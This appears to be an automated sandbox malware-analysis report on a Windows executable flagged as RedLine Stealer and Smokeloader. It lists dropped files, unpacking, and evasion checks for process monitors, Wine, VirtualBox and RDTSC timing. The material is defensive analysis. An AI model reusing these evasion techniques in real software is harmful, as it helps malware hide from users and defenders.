Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_3_04D07CAA		2_3_04D07CAA
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_3_04CF9D60		2_3_04CF9D60
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_3_04CFC7DD		2_3_04CFC7DD
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_3_04D097F2		2_3_04D097F2
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_3_04D037F9		2_3_04D037F9
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_3_04CFE720		2_3_04CFE720
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_3_04D030E6		2_3_04D030E6
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_3_04CF2070		2_3_04CF2070
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_3_04D09912		2_3_04D09912
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_3_04CFCA0F		2_3_04CFCA0F
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00402C70		2_2_00402C70
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_004188AA		2_2_004188AA
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_0040A960		2_2_0040A960
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_0040F320		2_2_0040F320
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_0040D3DD		2_2_0040D3DD
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_0041A3F2		2_2_0041A3F2
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_004143F9		2_2_004143F9
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00413CE6		2_2_00413CE6
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_0041A512		2_2_0041A512
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_0040D60F		2_2_0040D60F
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_1000E184		2_2_1000E184
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_100102A0		2_2_100102A0
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_0090CEE5		2_2_0090CEE5
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00983446		2_2_00983446
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00985E66		2_2_00985E66
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_0092C9A9		2_2_0092C9A9
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00989DC2		2_2_00989DC2
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_0097D7FF		2_2_0097D7FF
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00980DEA		2_2_00980DEA
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_0098FDE7		2_2_0098FDE7
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_0081CB45		2_2_0081CB45
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00853957		2_2_00853957
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00963778		2_2_00963778
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_0084AB76		2_2_0084AB76
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00A08778		2_2_00A08778
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_04B5F587		2_2_04B5F587
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_04B6A659		2_2_04B6A659
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_04B5D644		2_2_04B5D644
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_04B6A779		2_2_04B6A779
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_04B63F4D		2_2_04B63F4D
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_04B5D876		2_2_04B5D876
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_04B5ABC7		2_2_04B5ABC7
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_04B53B27		2_2_04B53B27

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\soft[1] 614A0362AB87CEE48D0935B5BB957D539BE1D94C6FDEB3FE42FAC4FBE182C10C

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: String function: 04CF8FA0 appears 35 times
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: String function: 04B59E07 appears 35 times
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: String function: 10003160 appears 34 times
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: String function: 00409BA0 appears 35 times

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6216 -s 1720

Source: hvm4oOzDaX.exe, 00000002.00000003.3172410564.00000000057B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBunifu_UI_v1.5.3.dll4 vs hvm4oOzDaX.exe
Source: hvm4oOzDaX.exe, 00000002.00000003.3171756741.0000000005E66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameY-Cleaner.exe4 vs hvm4oOzDaX.exe
Source: hvm4oOzDaX.exe, 00000002.00000003.3170034365.0000000005799000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBunifu_UI_v1.5.3.dll4 vs hvm4oOzDaX.exe

Source: hvm4oOzDaX.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000002.00000002.3243263415.0000000000D09000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000002.00000002.3246043956.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: Y-Cleaner.exe.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: soft[1].2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: hvm4oOzDaX.exe

Static PE information: Section: mqgxqxeq ZLIB complexity 0.9904552911107889

Source: classification engine

Classification label: mal100.evad.winEXE@2/15@1/1

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe

Code function: 2_2_00402950 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree,

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe

Code function: 2_2_00D09F8E CreateToolhelp32Snapshot,Module32First,

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe

Code function: 2_2_00401880 HttpAddRequestHeadersA,InternetSetFilePointer,InternetReadFile,HttpQueryInfoA,CoCreateInstance,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\add[1].htm

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6216

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe

File created: C:\Users\user\AppData\Local\Temp\K4fKw4wAeAe9Y

Jump to behavior

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Command line argument: emp		2_2_00408020
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Command line argument: mixtwo		2_2_00408020

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: hvm4oOzDaX.exe	Virustotal: Detection: 47%
Source: hvm4oOzDaX.exe	ReversingLabs: Detection: 57%

Source: hvm4oOzDaX.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\hvm4oOzDaX.exe "C:\Users\user\Desktop\hvm4oOzDaX.exe"
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6216 -s 1720

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Section loaded: apphelp.dll			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Section loaded: winmm.dll			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Section loaded: msimg32.dll			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Section loaded: wininet.dll			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Section loaded: msvcr100.dll			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Section loaded: iertutil.dll			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Section loaded: sspicli.dll			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Section loaded: windows.storage.dll			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Section loaded: wldp.dll			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Section loaded: profapi.dll			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Section loaded: kernel.appcore.dll			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Section loaded: ondemandconnroutehelper.dll			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Section loaded: winhttp.dll			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Section loaded: mswsock.dll			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Section loaded: iphlpapi.dll			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Section loaded: winnsi.dll			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Section loaded: urlmon.dll			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Section loaded: srvcli.dll			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Section loaded: netutils.dll			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Section loaded: cryptsp.dll			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Section loaded: rsaenh.dll			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Section loaded: cryptbase.dll			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Section loaded: uxtheme.dll			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Section loaded: propsys.dll			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Section loaded: linkinfo.dll			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Section loaded: ntshrui.dll			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Section loaded: cscapi.dll			Jump to behavior

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Cleaner.lnk.2.dr

LNK file: ..\AppData\Local\Temp\K4fKw4wAeAe9Y\Y-Cleaner.exe

Source: hvm4oOzDaX.exe

Static file information: File size 1959936 > 1048576

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: hvm4oOzDaX.exe

Static PE information: Raw size of mqgxqxeq is bigger than: 0x100000 < 0x1af000

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe

Unpacked PE file: 2.2.hvm4oOzDaX.exe.400000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mqgxqxeq:EW;xswsrjnl:EW;.taggant:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Source: Y-Cleaner.exe.2.dr

Static PE information: 0xA0CED55F [Tue Jun 29 19:19:59 2055 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: hvm4oOzDaX.exe	Static PE information: real checksum: 0x1e0076 should be: 0x1e6115
Source: dll[1].2.dr	Static PE information: real checksum: 0x0 should be: 0x400e1
Source: Y-Cleaner.exe.2.dr	Static PE information: real checksum: 0x0 should be: 0x170243
Source: soft[1].2.dr	Static PE information: real checksum: 0x0 should be: 0x170243
Source: Bunifu_UI_v1.5.3.dll.2.dr	Static PE information: real checksum: 0x0 should be: 0x400e1

Source: hvm4oOzDaX.exe	Static PE information: section name:
Source: hvm4oOzDaX.exe	Static PE information: section name: .idata
Source: hvm4oOzDaX.exe	Static PE information: section name:
Source: hvm4oOzDaX.exe	Static PE information: section name: mqgxqxeq
Source: hvm4oOzDaX.exe	Static PE information: section name: xswsrjnl
Source: hvm4oOzDaX.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_3_04D0E2B5 push esi; ret		2_3_04D0E2BE
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_3_04D12B88 push ss; ret		2_3_04D12B89
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_0041FAB5 push esi; ret		2_2_0041FABE
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00424388 push ss; ret		2_2_00424389
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_1000E891 push ecx; ret		2_2_1000E8A4
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00AA78BC push ebx; ret		2_2_00AA78CB
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00AAAC89 push esi; mov dword ptr [esp], 3677093Fh		2_2_00AAACA6
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00AAAC89 push 6FAA2F0Eh; mov dword ptr [esp], edi		2_2_00AAACF1
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00AAAC89 push 174D85A9h; mov dword ptr [esp], esp		2_2_00AAADB4
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00AA7C8D push ebx; ret		2_2_00AA7C9C
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00AAAC91 push esi; mov dword ptr [esp], 3677093Fh		2_2_00AAACA6
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00AAAC91 push 6FAA2F0Eh; mov dword ptr [esp], edi		2_2_00AAACF1
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00AAAC91 push 174D85A9h; mov dword ptr [esp], esp		2_2_00AAADB4
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00AA94FE push edi; ret		2_2_00AA950D
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00AA7C25 push ebp; ret		2_2_00AA7C34
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00AA943C push ebx; mov dword ptr [esp], edi		2_2_00AA9462
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00AA9413 pushad ; ret		2_2_00AA9414
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00AA786A push eax; ret		2_2_00AA7879
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00AA7475 push edx; ret		2_2_00AA7484
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00AA7C59 push edi; ret		2_2_00AA7C68
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00AA7451 push edx; ret		2_2_00AA7460
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00AA7DA6 push eax; ret		2_2_00AA7DB5
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00AA95BB push eax; ret		2_2_00AA95CA
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00AA9582 push eax; ret		2_2_00AA9591
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00AA719B push edi; ret		2_2_00AA71AA
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00AA79E8 push ebp; ret		2_2_00AA79F7
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00AA71EE push eax; ret		2_2_00AA71FD
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00AAADED push edi; mov dword ptr [esp], 0A595F34h		2_2_00AAAE31
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00AAADED push edx; mov dword ptr [esp], 3460D01Eh		2_2_00AAAE6A
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00AAADED push edx; mov dword ptr [esp], 6FFB7598h		2_2_00AAAEA7
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Code function: 2_2_00AAADED push 05ADF620h; mov dword ptr [esp], ecx		2_2_00AAAF29

Source: hvm4oOzDaX.exe	Static PE information: section name: mqgxqxeq entropy: 7.948778259949829
Source: Y-Cleaner.exe.2.dr	Static PE information: section name: .text entropy: 7.918511524700298
Source: soft[1].2.dr	Static PE information: section name: .text entropy: 7.918511524700298

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\soft[1]			Jump to dropped file
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	File created: C:\Users\user\AppData\Local\Temp\K4fKw4wAeAe9Y\Y-Cleaner.exe			Jump to dropped file
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\dll[1]			Jump to dropped file
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	File created: C:\Users\user\AppData\Local\Temp\K4fKw4wAeAe9Y\Bunifu_UI_v1.5.3.dll			Jump to dropped file

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\dll[1]			Jump to dropped file
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\soft[1]			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Window searched: window name: FilemonClass			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Window searched: window name: PROCMON_WINDOW_CLASS			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Window searched: window name: RegmonClass			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Window searched: window name: FilemonClass			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Window searched: window name: PROCMON_WINDOW_CLASS			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Window searched: window name: Regmonclass			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Window searched: window name: Filemonclass			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Window searched: window name: PROCMON_WINDOW_CLASS			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	Window searched: window name: Regmonclass			Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 995A43 second address: 995A47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 98DE03 second address: 98DE0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 98DE0A second address: 98DE34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F87A4B0387Fh 0x00000008 jmp 00007F87A4B0387Fh 0x0000000d push edx 0x0000000e pop edx 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 98DE34 second address: 98DE4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F87A450AC6Dh 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\hvm4oOzDaX.exe	RDTSC instruction interceptor: First address: 98DE4F second address: 98DE55 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
